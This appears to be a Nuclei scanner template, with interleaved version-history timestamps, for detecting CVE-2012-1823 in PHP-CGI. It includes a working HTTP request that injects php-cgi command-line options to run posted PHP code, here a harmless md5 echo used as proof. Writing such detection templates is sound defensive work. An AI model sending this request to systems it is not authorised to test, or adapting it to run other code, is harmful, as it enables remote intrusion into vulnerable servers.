2021-07-20 09:32:27 +00:00
id : CVE-2012-1823
info :
2022-04-07 13:53:15 +00:00
name : PHP CGI v5.3.12/5.4.2 Remote Code Execution
2021-07-20 09:32:27 +00:00
author : pikpikcu
2023-07-11 19:49:27 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of PHP or apply the necessary security patches.
2021-08-18 11:37:49 +00:00
reference :
2021-07-20 09:32:27 +00:00
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
2022-05-17 09:18:12 +00:00
- https://bugs.php.net/bug.php?id=61910
- http://www.php.net/ChangeLog-5.php#5.4.2
2023-07-11 19:49:27 +00:00
- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
2022-02-21 18:33:16 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score : 7.5
2022-02-21 18:33:16 +00:00
cve-id : CVE-2012-1823
2023-07-11 19:49:27 +00:00
cwe-id : CWE-20
2023-10-14 11:27:55 +00:00
epss-score : 0.97491
2024-01-14 13:49:27 +00:00
epss-percentile : 0.99972
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : php
product : php
2024-01-14 09:21:50 +00:00
tags : cve,cve2012,kev,vulhub,rce,php
2021-07-20 09:32:27 +00:00
2024-04-15 11:26:37 +00:00
variables :
string : "CVE-2012-1823"
2023-04-27 04:28:59 +00:00
http :
2021-07-20 09:32:27 +00:00
- raw :
- |
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-20 09:32:27 +00:00
matchers-condition : and
matchers :
2023-06-15 11:32:15 +00:00
- type : word
part : body
words :
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2024-04-23 10:06:08 +00:00
# digest: 490a0046304402201ac0c2b72933df8c0fb7ef1c5a6a19a79cd40e76379881895be285e80251e69102203260f22d356f293b8ba1f047f27246d4f8c53067e6d42af2772d64392ea8fa07:922c64590222798bb761d5b6d8e72950